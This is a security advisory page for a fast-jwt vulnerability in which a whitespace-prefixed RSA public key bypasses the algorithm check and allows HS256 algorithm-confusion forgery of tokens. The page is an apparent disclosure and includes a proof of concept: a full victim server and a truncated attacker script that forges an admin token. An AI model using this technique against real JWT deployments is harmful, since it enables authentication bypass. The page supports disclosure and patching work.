fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key
The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.
The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a
plain string used with .includes() to a regex used with .match():
```
// Before fix (vulnerable to original CVE)
const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'
// .includes() matched anywhere in the string — not vulnerable to whitespace
// After fix (current code, line 28)
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
// ^ anchor requires match at position 0 — defeated by leading whitespace
In performDetectPublicKeyAlgorithms()
(https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):
function performDetectPublicKeyAlgorithms(key) {
const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()!
if (key.match(privateKeyPemMatcher)) {
throw ...
} else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {
return rsaAlgorithms // ← correct path: restricts to RS/PS algorithms
} else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {
return hsAlgorithms // ← VULNERABLE: RSA key falls through here
}
```
When the key string has any leading whitespace (space, tab, \n, \r\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA
public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the
HMAC secret — the exact same attack as CVE-2023-48223.
Notably, the private key detection function does call .trim() before matching
https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:
const pemData = key.trim().match(privateKeyPemMatcher) // trims — not vulnerable
The public key path does not. This inconsistency is the root cause.
Leading whitespace in PEM key strings is common in real-world deployments:
Victim server (server.js):
```
const http = require('node:http');
const { generateKeyPairSync } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const { createSigner, createVerifier } = require('fast-jwt');
const port = 3000;
// Generate RSA key pair
const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });
const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });
// Simulate real-world scenario: key retrieved from database with leading newline
const publicKeyFromDB = '\n' + publicKeyPem;
// Write public key to disk so attacker can recover it
fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);
const server = http.createServer((req, res) => {
const url = new URL(req.url, http://localhost:${port});
// Endpoint to generate a JWT token with admin: false
if (url.pathname === '/generateToken') {
const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };
const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });
const token = signSync(payload);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ token }));
return;
}
// Endpoint to check if you are the admin or not
if (url.pathname === '/checkAdmin') {
const token = url.searchParams.get('token');
try {
const verifySync = createVerifier({ key: publicKeyFromDB });
const payload = verifySync(token);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(payload));
} catch (err) {
res.writeHead(401, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: err.message }));
}
return;
}
res.writeHead(404);
res.end('Not found');
});
server.listen(port, () => console.log(Server running on http://localhost:${port}));
```
Attacker script (attacker.js):
```
const { createHmac } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const serverUrl = 'http://localhost:3000';
async function main() {
// Step 1: Get a legitimate token
const res = await fet
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE-2026-34950 is classified as CWE-20: Improper Input Validation. The application accepts input without checking that it has the expected form, so malformed values reach code that assumes they are well formed.
CVE-2026-34950 is recorded against 1 package.
Published on 2 April 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Advisory)
github.com (Package)
fast-jwt has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-20: Improper Input Validation) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| fast-jwt | — | — |
References
Similar Threats
Exploit Protection
CVE-2026-34950 carries CVSS 9.5 Critical rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-34950 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.